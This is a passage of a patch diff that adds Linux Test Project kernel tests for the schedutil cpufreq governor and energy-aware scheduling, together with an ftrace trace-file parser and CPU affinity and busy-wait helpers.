+#define SLACK_USEC 10000
+
+static void *event_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	/*
+	 * FIXME: Proper logic to identify a multi-CPU policy and select two
+	 * CPUS from it is required here.
+	 */
+	affine(test_cpu - 1);
+
+	sem_wait(&sem);
+
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker",
+			 "event task sleep");
+	usleep(MAX_STALE_USEC);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker",
+			 "event task wake");
+	/*
+	 * Waking up should be sufficient to get the cpufreq policy to
+	 * re-evaluate.
+	 */
+	return NULL;
+}
+
+#define BURN_MSEC 500
+static void *burn_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	affine(test_cpu);
+
+	/*
+	 * wait a bit to allow any hacks to boost frequency on migration
+	 * to take effect
+	 */
+	usleep(200);
+
+	/* Busy loop for BURN_MSEC to get the task demand to maximum. */
+	burn(BURN_MSEC * 1000, 0);
+
+	/*
+	 * Sleep. The next sugov update after TICK_NSEC should not include
+	 * this task's contribution.
+	 */
+	SAFE_FILE_PRINTF(TRACING_DIR "trace_marker", "sleeping");
+
+	/*
+	 * Wake up task on another CPU in the same policy which will sleep
+	 * for stale_ns, then wake up briefly to trigger a recalculation of the
+	 * cpufreq policy.
+	 */
+	sem_post(&sem);
+	sleep(2);
+
+	return NULL;
+}
+
+static int cpu_in_policy(int cpu)
+{
+	int i;
+	for (i = 0; i < policy_num_cpus; i++)
+		if (cpu == policy_cpus[i])
+			return 1;
+	return 0;
+}
+
+static int parse_results(void)
+{
+	int i, sleep_idx;
+	int max_util_seen = 0;
+	unsigned int stale_usec;
+
+	/* Verify that utilization reached 1024 before sleep. */
+	for (i = 0; i < num_trace_records; i++) {
+		if (trace[i].event_type == TRACE_RECORD_SUGOV_UTIL_UPDATE) {
+			struct trace_sugov_util_update *t =
+				trace[i].event_data;
+			if (t->cpu == test_cpu && t->util > max_util_seen)
+				max_util_seen = t->util;
+		}
+		if (trace[i].event_type == TRACE_RECORD_TRACING_MARK_WRITE &&
+		    !strcmp(trace[i].event_data, "sleeping"))
+			break;
+	}
+	printf("Max util seen from CPU hog: %d\n", max_util_seen);
+	if (max_util_seen < 1000) {
+		printf("Trace parse error, utilization of CPU hog did "
+		       "not reach 1000.\n");
+		return -1;
+	}
+	sleep_idx = i;
+//	print_trace_record(&trace[i]);
+	for (; i < num_trace_records; i++)
+		if (trace[i].event_type == TRACE_RECORD_SUGOV_NEXT_FREQ) {
+			struct trace_sugov_next_freq *t =
+				trace[i].event_data;
+			/* We should only see some minor utilization. */
+			if (cpu_in_policy(t->cpu) && t->util < 200)
+				break;
+		}
+	if (i == num_trace_records) {
+		printf("Trace parse error, util never went stale!\n");
+		return -1;
+	}
+//	print_trace_record(&trace[i]);
+	stale_usec = TS_TO_USEC(trace[i].ts) - TS_TO_USEC(trace[sleep_idx].ts);
+
+	printf("Stale vote shown to be cleared in %d usec.\n", stale_usec);
+	return (stale_usec > (MAX_STALE_USEC + SLACK_USEC));
+}
+
+#define POLICY_CPUS_BUFSIZE 1024
+static void get_policy_cpus(void)
+{
+	int i=0, len, policy_cpus_fd;
+	char policy_cpus_fname[128];;
+	char *buf;
+
+	sprintf(policy_cpus_fname,
+		"/sys/devices/system/cpu/cpu%d/cpufreq/related_cpus",
+		test_cpu);
+	buf = SAFE_MALLOC(POLICY_CPUS_BUFSIZE);
+
+	policy_cpus_fd = open(policy_cpus_fname, O_RDONLY);
+	if (policy_cpus_fd < 0) {
+		printf("Failed to open policy cpus (errno %d)\n",
+		       errno);
+		return;
+	}
+
+	len = read(policy_cpus_fd, buf, POLICY_CPUS_BUFSIZE -1);
+	/* At least one digit is expected. */
+	if (len < 2) {
+		printf("Read of policy cpus returned %d (errno %d)\n",
+		       len, errno);
+		return;
+	}
+	close(policy_cpus_fd);
+	/* buf now has a list of CPUs, parse it */
+	while(buf[i] >= '0' && buf[i] <= '9') {
+		int j = i;
+		while (buf[j] >= '0' && buf[j] <= '9')
+			j++;
+		buf[j] = 0;
+		policy_cpus[policy_num_cpus++] = atoi(&buf[i]);
+		i = j + 1;
+	}
+	printf("Testing on CPU %d, all CPUs in that policy:\n",
+	       test_cpu);
+	for (int i = 0; i < policy_num_cpus; i++)
+		printf(" %d", policy_cpus[i]);
+	printf("\n");
+	free(buf);
+}
+
+static void run(void)
+{
+	pthread_t burn_thread, event_thread;
+
+	test_cpu = tst_ncpus() - 1;
+	printf("CPU hog will be bound to CPU %d.\n", test_cpu);
+	get_policy_cpus();
+
+	sem_init(&sem, 0, 0);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	SAFE_PTHREAD_CREATE(&burn_thread, NULL, burn_fn, NULL);
+	SAFE_PTHREAD_CREATE(&event_thread, NULL, event_fn, NULL);
+
+	SAFE_PTHREAD_JOIN(burn_thread, NULL);
+	SAFE_PTHREAD_JOIN(event_thread, NULL);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	if (parse_results())
+		tst_res(TFAIL, "Stale utilization not cleared within expected "
+			"time (%d usec).\n", MAX_STALE_USEC + SLACK_USEC);
+	else
+		tst_res(TPASS, "Stale utilization cleared within expected "
+			"time.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/sugov_wakeups.c b/testcases/kernel/sched/eas/sugov_wakeups.c
new file mode 100644
index 0000000..c1f6f2f
--- /dev/null
+++ b/testcases/kernel/sched/eas/sugov_wakeups.c
@@ -0,0 +1,68 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ *
+ * This test looks for a high number of wakeups from the schedutil governor
+ * threads.
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <pthread.h>
+#include <sched.h>
+#include <stdio.h>
+#include <time.h>
+
+#include "tst_test.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_pthread.h"
+
+#include "trace_parse.h"
+
+#define TRACE_EVENTS "sched_switch"
+
+#define MAX_WAKEUPS 100
+
+#define SLEEP_SEC 10
+static void run(void)
+{
+	int i;
+	int num_sugov_wakeups = 0;
+
+	tst_res(TINFO, "Observing sugov wakeups over %d sec, "
+		"%d wakeups allowed\n", SLEEP_SEC, MAX_WAKEUPS);
+
+	/* configure and enable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	SAFE_FILE_PRINTF(TRACING_DIR "buffer_size_kb", "16384");
+	SAFE_FILE_PRINTF(TRACING_DIR "set_event", TRACE_EVENTS);
+	SAFE_FILE_PRINTF(TRACING_DIR "trace", "\n");
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "1");
+
+	sleep(SLEEP_SEC);
+
+	/* disable tracing */
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+	LOAD_TRACE();
+
+	for (i = 0; i < num_trace_records; i++) {
+		if (trace[i].event_type == TRACE_RECORD_SCHED_SWITCH) {
+			struct trace_sched_switch *t = trace[i].event_data;
+			if (!strncmp("sugov:", t->next_comm, 6))
+				num_sugov_wakeups++;
+		}
+	}
+	printf("%d sugov wakeups occurred.\n", num_sugov_wakeups);
+	if (num_sugov_wakeups > MAX_WAKEUPS)
+		tst_res(TFAIL, "Too many wakeups from the schedutil "
+			"governor.\n");
+	else
+		tst_res(TPASS, "Wakeups from schedutil governor were below "
+			"threshold.\n");
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.cleanup = trace_cleanup,
+};
diff --git a/testcases/kernel/sched/eas/trace_parse.c b/testcases/kernel/sched/eas/trace_parse.c
new file mode 100644
index 0000000..a4c158a
--- /dev/null
+++ b/testcases/kernel/sched/eas/trace_parse.c
@@ -0,0 +1,529 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+
+#define _GNU_SOURCE
+#include <fcntl.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <unistd.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "tst_res_flags.h"
+#include "tst_safe_file_ops.h"
+#include "tst_safe_macros.h"
+
+#include "trace_parse.h"
+
+int num_trace_records = 0;
+struct trace_record *trace = NULL;
+
+static int trace_fd = -1;
+static char *trace_buffer = NULL;
+
+static int parse_event_type(char *event_name)
+{
+	if (!strcmp(event_name, "sched_process_exit"))
+		return TRACE_RECORD_SCHED_PROCESS_EXIT;
+	if (!strcmp(event_name, "sched_process_fork"))
+		return TRACE_RECORD_SCHED_PROCESS_FORK;
+	if (!strcmp(event_name, "sched_switch"))
+		return TRACE_RECORD_SCHED_SWITCH;
+	if (!strcmp(event_name, "sched_wakeup"))
+		return TRACE_RECORD_SCHED_WAKEUP;
+	if (!strcmp(event_name, "sugov_util_update"))
+		return TRACE_RECORD_SUGOV_UTIL_UPDATE;
+	if (!strcmp(event_name, "sugov_next_freq"))
+		return TRACE_RECORD_SUGOV_NEXT_FREQ;
+	if (!strcmp(event_name, "cpu_frequency"))
+		return TRACE_RECORD_CPU_FREQUENCY;
+	if (!strcmp(event_name, "tracing_mark_write"))
+		return TRACE_RECORD_TRACING_MARK_WRITE;
+	return -1;
+}
+
+void print_trace_record(struct trace_record *tr)
+{
+	printf("task: %s pid %d cpu %d flags %d irq_context %c preempt_depth %d timestamp %d.%.6d event_type %d ",
+	       tr->task, tr->pid, tr->cpu, tr->flags, tr->irq_context,
+	       tr->preempt_depth, tr->ts.sec, tr->ts.usec,
+	       tr->event_type);
+	if (tr->event_type == TRACE_RECORD_SCHED_PROCESS_EXIT)
+		printf("(sched_process_exit)\n");
+	else if (tr->event_type == TRACE_RECORD_SCHED_PROCESS_FORK)
+		printf("(sched_process_fork)\n");
+	else if (tr->event_type == TRACE_RECORD_SCHED_SWITCH) {
+		struct trace_sched_switch *t = tr->event_data;
+		printf("(sched_switch) %s pid=%d prio=%d state=%c => "
+		       "%s pid=%d prio=%d\n", t->prev_comm, t->prev_pid,
+		       t->prev_prio, t->prev_state, t->next_comm, t->next_pid,
+		       t->next_prio);
+	} else if (tr->event_type == TRACE_RECORD_SCHED_WAKEUP) {
+		struct trace_sched_wakeup *t = tr->event_data;
+		printf("(sched_wakeup) %s pid=%d prio=%d cpu=%d\n",
+		       t->comm, t->pid, t->prio, t->cpu);
+	} else if (tr->event_type == TRACE_RECORD_SUGOV_UTIL_UPDATE) {
+		struct trace_sugov_util_update *t = tr->event_data;
+		printf("(sugov_util_update) cpu=%d util=%d avg_cap=%d "
+		       "max_cap=%d\n", t->cpu, t->util, t->avg_cap,
+		       t->max_cap);
+	} else if (tr->event_type == TRACE_RECORD_SUGOV_NEXT_FREQ) {
+		struct trace_sugov_next_freq *t = tr->event_data;
+		printf("(sugov_next_freq) cpu=%d util=%d max=%d freq=%d\n",
+		       t->cpu, t->util, t->max, t->freq);
+	} else if (tr->event_type == TRACE_RECORD_CPU_FREQUENCY) {
+		struct trace_cpu_frequency *t = tr->event_data;
+		printf("(cpu_frequency) state=%d cpu=%d\n",
+		       t->state, t->cpu);
+	} else if (tr->event_type == TRACE_RECORD_TRACING_MARK_WRITE)
+		printf("(tracing_mark_write)\n");
+	else
+		printf("(other)\n");
+}
+
+void trace_cleanup(void)
+{
+	SAFE_FILE_PRINTF(TRACING_DIR "tracing_on", "0");
+
+}
+
+static void *parse_event_data(unsigned int event_type, char *data)
+{
+	if (event_type == TRACE_RECORD_TRACING_MARK_WRITE) {
+		char *buf = SAFE_MALLOC(strlen(data) + 1);
+		strcpy(buf, data);
+		return buf;
+	}
+	if (event_type == TRACE_RECORD_CPU_FREQUENCY) {
+		struct trace_cpu_frequency *t;
+		t = SAFE_MALLOC(sizeof(struct trace_cpu_frequency));
+		if (sscanf(data, "state=%d cpu_id=%hd", &t->state, &t->cpu)
+		    != 2) {
+			printf("Error parsing cpu_frequency event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		return t;
+	}
+	if (event_type == TRACE_RECORD_SUGOV_UTIL_UPDATE) {
+		struct trace_sugov_util_update *t;
+		t = SAFE_MALLOC(sizeof(struct trace_sugov_util_update));
+		if (sscanf(data, "cpu=%d util=%d avg_cap=%d max_cap=%d",
+			   &t->cpu, &t->util, &t->avg_cap, &t->max_cap) != 4) {
+			printf("Error parsing sugov_util_update event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		return t;
+	}
+	if (event_type == TRACE_RECORD_SUGOV_NEXT_FREQ) {
+		struct trace_sugov_next_freq *t;
+		t = SAFE_MALLOC(sizeof(struct trace_sugov_next_freq));
+		if (sscanf(data, "cpu=%d util=%d max=%d freq=%d",
+			   &t->cpu, &t->util, &t->max, &t->freq) != 4) {
+			printf("Error parsing sugov_next_freq event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		return t;
+	}
+	if (event_type == TRACE_RECORD_SCHED_SWITCH) {
+		struct trace_sched_switch *t;
+		char *tmp, *tmp2;
+		t = SAFE_MALLOC(sizeof(struct trace_sched_switch));
+		/*
+		 * The prev_comm could have spaces in it. Find start of
+		 * "prev_pid=" as that is just after end of prev_comm.
+		 */
+		if (strstr(data, "prev_comm=") != data) {
+			printf("Malformatted sched_switch event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		tmp = strstr(data, " prev_pid=");
+		if (!tmp) {
+			printf("Malformatted sched_switch event, "
+			       "no prev_pid:\n%s\n", data);
+			free(t);
+			return NULL;
+		}
+		*tmp = 0;
+		snprintf(t->prev_comm, sizeof(t->prev_comm), "%s", data + 10);
+		*tmp = ' ';
+		tmp++;
+		if (sscanf(tmp, "prev_pid=%hd prev_prio=%hd "
+			   "prev_state=%c ==>\n",
+			   &t->prev_pid, &t->prev_prio, &t->prev_state) != 3) {
+			printf("Malformatted sched_switch event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		tmp = strstr(tmp, "==> next_comm=");
+		if (!tmp) {
+			printf("Malformatted sched_switch event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		tmp += 14;
+		tmp2 = strstr(tmp, " next_pid=");
+		if (!tmp2) {
+			printf("Malformatted sched_switch event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		*tmp2 = 0;
+		if (strlen(tmp) > 16) {
+			printf("next_comm %s is greater than 16!\n",
+			       tmp);
+			t->next_comm[0] = 0;
+		}
+		snprintf(t->next_comm, sizeof(t->next_comm), "%s", tmp);
+		*tmp2 = ' ';
+		tmp2++;
+		if (sscanf(tmp2, "next_pid=%hd next_prio=%hd", &t->next_pid,
+			   &t->next_prio) != 2) {
+			printf("Malformatted sched_switch event:\n%s\n",
+			       data);
+			free(t);
+			return NULL;
+		}
+		return t;
+	}
+	if (event_type == TRACE_RECORD_SCHED_WAKEUP) {
+		struct trace_sched_wakeup *t;
+		char *tmp;
+		t = SAFE_MALLOC(sizeof(struct trace_sched_wakeup));
+		tmp = strstr(data, " pid=");
+		if (!tmp) {
+			printf("Malformatted sched_wakeup event:\n%s\n", data);
+			free(t);
+			return NULL;
+		}
+		*tmp = 0;
+		snprintf(t->comm, sizeof(t->comm), "%s", data + 5);
+		*tmp = ' ';
+		if (sscanf(tmp, " pid=%hd prio=%hd target_cpu=%hd", &t->pid,
+			   &t->prio, &t->cpu) != 3) {
+			printf("Malformatted sched_wakeup event:\n%s\n", data);
+			free(t);
+			return NULL;
+		}
+		return t;
+	}
+	return NULL;
+}
+
+/*
+ * Given a line of text from a trace containing a trace record, parse the trace
+ * record into a struct trace_record.
+ * First 16 chars are the currently running thread name. Drop leading spaces.
+ * Next char is a dash
+ * Next 5 chars are PID. Drop trailing spaces.
+ * Next char is a space.
+ * Next five chars are the CPU, i.e. [001].
+ * Next char is a space.
+ * Next letter is whether IRQs are off.
+ * Next letter is if NEED_RESCHED is set.
+ * Next letter is if this is in hard or soft IRQ context.
+ * Next letter is the preempt disable depth.
+ * Next char is a space.
+ * Next twelve letters are the timestamp. Drop leading spaces.
+ * Next char is colon.
+ * Next char is space.
+ * Next twelve letters are the event name.
+ * Next char is colon.
+ * Rest of line is string specific to event.
+ */
+static int parse_trace_record(struct trace_record *tr, char *line) {
+	unsigned int idx = 0;
+	char *found;
+
+	/* Skip leading spaces in the task name. */
+	while (idx < 16 && line[idx] == ' ')
+		idx++;
+	if (idx == 16) {
+		printf("Malformatted trace record, no task name:\n");
+		printf("%s", line);
+		return -1;
+	}
+	memcpy(tr->task, &line[idx], 16-idx);
+	if (line[16] != '-') {
+		printf("Malformatted trace record, no dash after task "
+		       "name:\n");
+		printf("%s", line);
+		return -1;
+	}
+	idx = 17;
+	if (line[22] != ' ') {
+		printf("Malformatted trace record, no space between"
+		       "pid and CPU:\n");
+		printf("%s", line);
+		return -1;
+	}
+	line[22] = 0;
+	if (sscanf(&line[17], "%hd", &tr->pid) != 1) {
+		printf("Malformatted trace record, error parsing"
+		       "pid:\n");
+		printf("%s", line);
+		return -1;
+	}
+	if (line[28] != ' ') {
+		printf("Malformatted trace record, no space between"
+		       "CPU and flags:\n");
+		printf("%s", line);
+		return -1;
+	}
+	line[28] = 0;
+	if (sscanf(&line[23], "[%hd]", &tr->cpu) != 1) {
+		printf("Malformatted trace record, error parsing CPU:\n");
+		printf("%s", line);
+		return -1;
+	}
+	if (line[29] == 'd') {
+		tr->flags |= TRACE_RECORD_IRQS_OFF;
+	} else if (line[29] != '.') {
+		printf("Malformatted trace record, error parsing irqs-off:\n");
+		printf("%s", line);
+		return -1;
+	}
+	if (line[30] == 'N') {
+		tr->flags |= TRACE_RECORD_TIF_NEED_RESCHED;
+		tr->flags |= TRACE_RECORD_PREEMPT_NEED_RESCHED;
+	} else if (line[30] == 'n') {
+		tr->flags |= TRACE_RECORD_TIF_NEED_RESCHED;
+	} else if (line[30] == 'p') {
+		tr->flags |= TRACE_RECORD_PREEMPT_NEED_RESCHED;
+	} else if (line[30] != '.') {
+		printf("Malformatted trace record, error parsing "
+		       "need-resched:\n");
+		printf("%s", line);
+		return -1;
+	}
+
+	if (line[31] != IRQ_CONTEXT_NORMAL && line[31] != IRQ_CONTEXT_SOFT &&
+	    line[31] != IRQ_CONTEXT_HARD &&
+	    line[31] != IRQ_CONTEXT_HARD_IN_SOFT &&
+	    line[31] != IRQ_CONTEXT_NMI && line[31] != IRQ_CONTEXT_NMI_IN_HARD) {
+		printf("Malformatted trace record, error parsing irq "
+		       "context:\n");
+		printf("%s", line);
+		return -1;
+	}
+	tr->irq_context = line[31];
+
+	if (line[33] != ' ') {
+		printf("Malformatted trace record, no space between"
+		       "flags and timestamp:\n");
+		printf("%s", line);
+		return -1;
+	}
+	line[33] = 0;
+	if (line[32] == '.') {
+		tr->preempt_depth = 0;
+	} else if (sscanf(&line[32], "%hx", &tr->preempt_depth) != 1) {
+		printf("Malformatted trace record, error parsing "
+		       "preempt-depth:\n");
+		printf("%s", line);
+		return -1;
+	}
+
+	/* timestamp starts as early as line[34], skip leading spaces */
+	idx = 34;
+	while (idx < 38 && line[idx] == ' ')
+		idx++;
+	if (sscanf(&line[idx], "%d.%d: ", &tr->ts.sec,
+		   &tr->ts.usec) != 2) {
+		printf("Malformatted trace record, error parsing "
+		       "timestamp:\n");
+		printf("%s", line);
+		return -1;
+	}
+	/* we know a space appears in the string because sscanf parsed it */
+	found = strchr(&line[idx], ' ');
+	idx = (found - line + 1);
+	found = strchr(&line[idx], ':');
+	if (!found) {
+		printf("Malformatted trace record, error parsing "
+		       "event name:\n");
+		printf("%s", line);
+		return -1;
+	}
+	*found = 0;
+	tr->event_type = parse_event_type(&line[idx]);
+
+	/*
+	 * there is a space between the ':' after the event name and the event
+	 * data
+	 */
+	if (tr->event_type > 0)
+		tr->event_data = parse_event_data(tr->event_type, found + 2);
+
+	return 0;
+}
+
+#define TRACE_BUFFER_SIZE 8192
+static int refill_buffer(char *buffer, char *idx)
+{
+	int bytes_in_buffer;
+	int bytes_to_read;
+	int bytes_read = 0;
+	int rv;
+
+	bytes_in_buffer = TRACE_BUFFER_SIZE - (idx - buffer) - 1;
+	bytes_to_read = TRACE_BUFFER_SIZE - bytes_in_buffer - 1;
+
+	if (trace_fd == -1) {
+		trace_fd = open(TRACING_DIR "trace", O_RDONLY);
+		if (trace_fd == -1) {
+			printf("Could not open trace file!\n");
+			return 0;
+		}
+	}
+
+	/* Shift existing bytes in buffer to front. */
+	memmove(buffer, idx, bytes_in_buffer);
+	idx = buffer + bytes_in_buffer;
+
+	while(bytes_to_read) {
+		rv = read(trace_fd, idx, bytes_to_read);
+		if (rv == -1) {
+			printf("Could not read trace file! (%d)\n", errno);
+			return -1;
+		}
+		if (rv == 0)
+			break;
+		idx += rv;
+		bytes_read += rv;
+		bytes_to_read -= rv;
+	}
+
+	return bytes_read;
+}
+
+/*
+ * Returns a pointer to a null (not newline) terminated line
+ * of the trace.
+ */
+static char *read_trace_line(void)
+{
+	static char *idx;
+	char *line, *newline;
+	int rv;
+
+	if (!trace_buffer) {
+		trace_buffer = SAFE_MALLOC(TRACE_BUFFER_SIZE);
+		idx = trace_buffer + TRACE_BUFFER_SIZE - 1;
+		*idx = 0;
+	}
+
+	line = idx;
+	newline = strchr(idx, '\n');
+	if (!newline) {
+		rv = refill_buffer(trace_buffer, idx);
+		if (rv == -1 || rv == 0)
+				return NULL;
+		idx = trace_buffer;
+		line = idx;
+		newline = strchr(idx, '\n');
+	}
+	if (newline) {
+		*newline = 0;
+		idx = newline + 1;
+		return line;
+	}
+	return NULL;
+}
+
+struct trace_record *load_trace(void)
+{
+	int buflines, unused;
+	int tmp_num_trace_records = 0;
+	char *line;
+	enum parse_state_type {
+		PARSE_STATE_SEEK_NUM_ENTRIES = 0,
+		PARSE_STATE_REMAINING_COMMENTS,
+		PARSE_STATE_TRACE_ENTRIES,
+	};
+	int parse_state = PARSE_STATE_SEEK_NUM_ENTRIES;
+
+	num_trace_records = 0;
+
+#ifdef PRINT_PARSING_UPDATES
+	printf("\n");
+#endif
+	while((line = read_trace_line())) {
+		if (line[0] == '#') {
+			if (parse_state == PARSE_STATE_TRACE_ENTRIES) {
+				printf("Malformatted trace output, comment"
+				       "after start of trace entries.\n");
+				if (trace)
+					free(trace);
+				return NULL;
+			}
+			if (parse_state == PARSE_STATE_REMAINING_COMMENTS)
+				continue;
+			if (sscanf(line,
+				   "# entries-in-buffer/entries-written: "
+				   "%d/%d",
+				   &buflines, &unused) != 2) {
+				continue;
+			}
+
+			trace = SAFE_MALLOC(sizeof(struct trace_record) *
+					    buflines);
+			parse_state = PARSE_STATE_REMAINING_COMMENTS;
+		} else {
+			if (parse_state == PARSE_STATE_SEEK_NUM_ENTRIES) {
+				printf("Malformatted trace output, non-comment "
+				       "before number of entries.\n");
+				if (trace)
+					free(trace);
+				return NULL;
+			}
+
+			if (parse_state == PARSE_STATE_REMAINING_COMMENTS)
+				parse_state = PARSE_STATE_TRACE_ENTRIES;
+
+			if (parse_trace_record(&trace[tmp_num_trace_records++],
+					       line)) {
+				printf("Malformatted trace record entry:\n");
+				printf("%s\n", line);
+				if (trace)
+					free(trace);
+				return NULL;
+			}
+#ifdef PRINT_PARSING_UPDATES
+			if (tmp_num_trace_records%1000 == 0) {
+				printf("\r%d/%d records processed",
+				       tmp_num_trace_records, buflines);
+				fflush(stdout);
+			}
+#endif
+		}
+	}
+#ifdef PRINT_PARSING_UPDATES
+	printf("\n");
+#endif
+	num_trace_records = tmp_num_trace_records;
+	if (trace_fd >= 0) {
+		close(trace_fd);
+		trace_fd = -1;
+	}
+	if (trace_buffer) {
+		free(trace_buffer);
+		trace_buffer = NULL;
+	}
+	return trace;
+}
diff --git a/testcases/kernel/sched/eas/trace_parse.h b/testcases/kernel/sched/eas/trace_parse.h
new file mode 100644
index 0000000..436b6d7
--- /dev/null
+++ b/testcases/kernel/sched/eas/trace_parse.h
@@ -0,0 +1,103 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+
+#ifndef _LTP_TRACE_PARSE_H_
+#define _LTP_TRACE_PARSE_H_
+
+/*
+ * It is necessary to define TRACE_EVENTS to communicate the events to trace. */
+#define TRACING_DIR "/sys/kernel/debug/tracing/"
+
+enum {
+	TRACE_RECORD_OTHER = 0,
+	TRACE_RECORD_SCHED_PROCESS_EXIT,
+	TRACE_RECORD_SCHED_PROCESS_FORK,
+	TRACE_RECORD_SCHED_SWITCH,
+	TRACE_RECORD_SCHED_WAKEUP,
+	TRACE_RECORD_SUGOV_UTIL_UPDATE,
+	TRACE_RECORD_SUGOV_NEXT_FREQ,
+	TRACE_RECORD_CPU_FREQUENCY,
+	TRACE_RECORD_TRACING_MARK_WRITE,
+};
+
+#define IRQ_CONTEXT_NORMAL '.'
+#define IRQ_CONTEXT_SOFT 's'
+#define IRQ_CONTEXT_HARD 'h'
+#define IRQ_CONTEXT_HARD_IN_SOFT 'H'
+#define IRQ_CONTEXT_NMI 'z'
+#define IRQ_CONTEXT_NMI_IN_HARD 'Z'
+
+struct timestamp {
+	unsigned int sec;
+	unsigned int usec;
+};
+
+struct trace_cpu_frequency {
+	unsigned int state;
+	unsigned short cpu;
+};
+
+struct trace_sched_switch {
+	char prev_comm[17];
+	unsigned short prev_pid;
+	unsigned short prev_prio;
+	char prev_state;
+	char next_comm[17];
+	unsigned short next_pid;
+	unsigned short next_prio;
+};
+
+struct trace_sched_wakeup {
+	char comm[17];
+	unsigned short pid;
+	unsigned short prio;
+	unsigned short cpu;
+};
+
+struct trace_sugov_util_update {
+	int cpu;
+	int util;
+	int avg_cap;
+	int max_cap;
+};
+
+struct trace_sugov_next_freq {
+	int cpu;
+	int util;
+	int max;
+	int freq;
+};
+
+struct trace_record {
+	char task[17];
+	unsigned short pid;
+	unsigned short cpu;
+
+#define TRACE_RECORD_IRQS_OFF 0x1
+#define TRACE_RECORD_TIF_NEED_RESCHED 0x2
+#define TRACE_RECORD_PREEMPT_NEED_RESCHED 0x4
+	unsigned short flags;
+	unsigned char irq_context;
+	unsigned short preempt_depth;
+
+	struct timestamp ts;
+
+	unsigned int event_type;
+	void *event_data;
+};
+
+extern int num_trace_records;
+extern struct trace_record *trace;
+
+void trace_cleanup(void);
+void print_trace_record(struct trace_record *tr);
+struct trace_record *load_trace(void);
+
+#define LOAD_TRACE() \
+	if (!load_trace()) \
+		tst_brk(TBROK, "Failed to load trace.\n");
+
+#endif /* _LTP_TRACE_PARSE_H_ */
diff --git a/testcases/kernel/sched/eas/util.c b/testcases/kernel/sched/eas/util.c
new file mode 100644
index 0000000..b6c0519
--- /dev/null
+++ b/testcases/kernel/sched/eas/util.c
@@ -0,0 +1,190 @@
+/*
+ * Copyright (c) 2018 Google, Inc.
+ *
+ * SPDX-License-Identifier: GPL-2.0-or-later
+ */
+
+#define _GNU_SOURCE
+#include <errno.h>
+#include <fcntl.h>
+#include <sched.h>
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "tst_cpu.h"
+#include "tst_safe_file_ops.h"
+
+#include "util.h"
+
+void affine(int cpu)
+{
+	cpu_set_t cpuset;
+	CPU_ZERO(&cpuset);
+	CPU_SET(cpu, &cpuset);
+	ERROR_CHECK(sched_setaffinity(0, sizeof(cpu_set_t), &cpuset));
+}
+
+/*
+ * Busywait for a certain amount of wallclock time.
+ * If sleep is nonzero, sleep for 1ms between each check.
+ */
+void burn(unsigned int usec, int sleep)
+{
+	unsigned long long now_usec, end_usec;
+	struct timespec ts;
+
+	if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
+		printf("clock_gettime() reported an error\n");
+		return;
+	}
+	end_usec = (ts.tv_sec) * USEC_PER_SEC + (ts.tv_nsec / 1000) + usec;
+	while(1) {
+		if (clock_gettime(CLOCK_MONOTONIC, &ts)) {
+			printf("clock_gettime() reported an error\n");
+			return;
+		}
+		now_usec = ts.tv_sec * USEC_PER_SEC + ts.tv_nsec / 1000;
+		if (now_usec > end_usec)
+			return;
+		if (sleep)
+			usleep(1000);
+	}
+}
+
+#define CAP_STATE_FILE_SIZE 1024
+static int read_capacity_sched_domains(int cpu, unsigned int *cap)
+{
+	char *filebuf, *tmp1, *tmp2;
+	char cap_states_file[100];
+	int cap_states_fd;
+	int bytes, rv;
+
+	sprintf(cap_states_file,
+			"/proc/sys/kernel/sched_domain/cpu%d/domain0/group0/energy/cap_states",
+			cpu);
+	cap_states_fd = open(cap_states_file, O_RDONLY);
+	if (cap_states_fd == -1)
+		return -ENOENT;
+
+	bytes = CAP_STATE_FILE_SIZE;
+	filebuf = calloc(1, CAP_STATE_FILE_SIZE + 1);
+	if (!filebuf) {
+		printf("Failed to calloc buffer for cap_states\n");
+		return -1;
+	}
+	tmp1 = filebuf;
+	while (bytes) {
+		rv = read(cap_states_fd, tmp1, bytes);
+		if (rv == -1) {
+			printf("Could not read cap_states\n");
+			return -1;
+		}
+		if (rv == 0)
+			break;
+		tmp1 += rv;
+		bytes -= rv;
+	}
+	if (tmp1 - filebuf == CAP_STATE_FILE_SIZE) {
+		printf("CAP_STATE_FILE_SIZE exhausted, increase\n");
+		return -1;
+	}
+	tmp1 = strrchr(filebuf, '\t');
